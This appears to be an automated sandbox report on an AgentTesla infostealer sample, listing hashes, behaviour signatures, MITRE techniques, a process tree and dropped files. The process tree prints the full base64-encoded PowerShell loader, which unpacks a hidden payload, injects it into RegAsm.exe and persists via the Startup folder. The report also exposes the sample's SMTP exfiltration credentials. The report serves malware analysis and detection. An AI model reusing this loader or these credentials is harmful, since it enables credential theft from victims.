agenttesla | 463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec

General

Target

2.bat
Size

191KB
MD5

2effd68ca29fb310fbe40749eb566d0e
SHA1

bb23473d4be94830371bd52afe37cb1b59609ed5
SHA256

463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec
SHA512

994de4787401c0e5ce032be67adb93c5e9aa6aa4c510ab19aa1f41a75808b927428e779f2479542465c738eff5138c94fa3cb71da6835957cfb9531f9afa12c6
SSDEEP

3072:4/IpFBvxdugvwReuVhjNCHhGHkTjV/bnHVeLYvElkMp2GMkCTH3djFoll4MPUQTZ:4/APubReSj460jhHkLYvEAP3soMPxoWV

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.agagroup.lv
Port:
587
Username:
[email protected]
Password:
@Aga#Group777!

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.agagroup.lv
Port:
587
Username:
[email protected]
Password:
@Aga#Group777!
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat	powershell.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
38	api.ipify.org
40	ip-api.com
37	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5108 set thread context of 4192	5108	powershell.exe	99

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3332	powershell.exe
3332	powershell.exe
5108	powershell.exe
5108	powershell.exe
4192	RegAsm.exe
4192	RegAsm.exe
4192	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeDebugPrivilege	4192	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3604 wrote to memory of 3972	3604	cmd.exe	84
PID 3604 wrote to memory of 3972	3604	cmd.exe	84
PID 3972 wrote to memory of 3332	3972	cmd.exe	89
PID 3972 wrote to memory of 3332	3972	cmd.exe	89
PID 3972 wrote to memory of 3332	3972	cmd.exe	89
PID 3972 wrote to memory of 5108	3972	cmd.exe	94
PID 3972 wrote to memory of 5108	3972	cmd.exe	94
PID 3972 wrote to memory of 5108	3972	cmd.exe	94
PID 5108 wrote to memory of 4192	5108	powershell.exe	99
PID 5108 wrote to memory of 4192	5108	powershell.exe	99
PID 5108 wrote to memory of 4192	5108	powershell.exe	99
PID 5108 wrote to memory of 4192	5108	powershell.exe	99
PID 5108 wrote to memory of 4192	5108	powershell.exe	99
PID 5108 wrote to memory of 4192	5108	powershell.exe	99
PID 5108 wrote to memory of 4192	5108	powershell.exe	99
PID 5108 wrote to memory of 4192	5108	powershell.exe	99

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\2.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3972
- - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY2hyb21lLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\chrome.ps1' -Encoding UTF8"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3332
- - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\chrome.ps1"
    3⤵
    - Drops startup file
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5108
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
cf0a536c502b5d6d0f3c9ea4382f7a85

SHA1
973e7adb48d96ad036e21fe6b5be3dc723c884b5

SHA256
80c62d8320db2b3ae632db7c62873d6a85e7e29c37f7ebb4e1f35cb7a577474f

SHA512
adb2ab36e704bf7840a4c3e62930da6a3b084b5299eb8b0c66335940b2cb5c19a3699f758933d029d3beb0cffb787c7f41750da51bc3b1b3d28a9eee28e8f444

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ii2thx0r.g4p.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\chrome.bat

Filesize
191KB

MD5
2effd68ca29fb310fbe40749eb566d0e

SHA1
bb23473d4be94830371bd52afe37cb1b59609ed5

SHA256
463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec

SHA512
994de4787401c0e5ce032be67adb93c5e9aa6aa4c510ab19aa1f41a75808b927428e779f2479542465c738eff5138c94fa3cb71da6835957cfb9531f9afa12c6

Download Submit
C:\Users\Admin\chrome.ps1

Filesize
1KB

MD5
1d6288e218ce9fed4e703ef5aa2e6c08

SHA1
39c5fbc0b8931bab67c40dc3f45be696ea3beb90

SHA256
d0832834c002fe7e915e8c78b21642df8ab90dd778e77f8c9dfbf93d9a517ae6

SHA512
c45d64b2aede293f414e1325d711df3314cf9527a62dbb362cf4210b8eeedcb8232feca70bf6a548cc865c9598c02620667b4920a049c9f50d7d7c0eda68507c

Download Submit
memory/3332-22-0x0000000008020000-0x000000000869A000-memory.dmp

Filesize
6.5MB

Download
memory/3332-2-0x0000000005520000-0x0000000005556000-memory.dmp

Filesize
216KB

Download
memory/3332-7-0x0000000005B30000-0x0000000005B52000-memory.dmp

Filesize
136KB

Download
memory/3332-9-0x0000000006320000-0x0000000006386000-memory.dmp

Filesize
408KB

Download
memory/3332-15-0x00000000063E0000-0x0000000006734000-memory.dmp

Filesize
3.3MB

Download
memory/3332-20-0x00000000068F0000-0x000000000690E000-memory.dmp

Filesize
120KB

Download
memory/3332-21-0x0000000006920000-0x000000000696C000-memory.dmp

Filesize
304KB

Download
memory/3332-6-0x0000000005CF0000-0x0000000006318000-memory.dmp

Filesize
6.2MB

Download
memory/3332-23-0x0000000006E10000-0x0000000006E2A000-memory.dmp

Filesize
104KB

Download
memory/3332-27-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/3332-5-0x00000000056B0000-0x00000000056C0000-memory.dmp

Filesize
64KB

Download
memory/3332-8-0x0000000005BD0000-0x0000000005C36000-memory.dmp

Filesize
408KB

Download
memory/3332-4-0x00000000056B0000-0x00000000056C0000-memory.dmp

Filesize
64KB

Download
memory/3332-3-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/4192-60-0x0000000004F20000-0x0000000004F30000-memory.dmp

Filesize
64KB

Download
memory/4192-59-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/4192-58-0x00000000063F0000-0x00000000063FA000-memory.dmp

Filesize
40KB

Download
memory/4192-57-0x0000000006490000-0x0000000006522000-memory.dmp

Filesize
584KB

Download
memory/4192-56-0x0000000006350000-0x00000000063EC000-memory.dmp

Filesize
624KB

Download
memory/4192-51-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/4192-53-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/4192-54-0x0000000004F20000-0x0000000004F30000-memory.dmp

Filesize
64KB

Download
memory/5108-40-0x0000000005980000-0x0000000005CD4000-memory.dmp

Filesize
3.3MB

Download
memory/5108-50-0x00000000774C1000-0x00000000775E1000-memory.dmp

Filesize
1.1MB

Download
memory/5108-49-0x0000000004BD0000-0x0000000004BDA000-memory.dmp

Filesize
40KB

Download
memory/5108-47-0x0000000007130000-0x0000000007194000-memory.dmp

Filesize
400KB

Download
memory/5108-55-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/5108-45-0x00000000076E0000-0x0000000007C84000-memory.dmp

Filesize
5.6MB

Download
memory/5108-44-0x0000000006330000-0x0000000006352000-memory.dmp

Filesize
136KB

Download
memory/5108-43-0x0000000007090000-0x0000000007126000-memory.dmp

Filesize
600KB

Download
memory/5108-30-0x0000000004B40000-0x0000000004B50000-memory.dmp

Filesize
64KB

Download
memory/5108-29-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads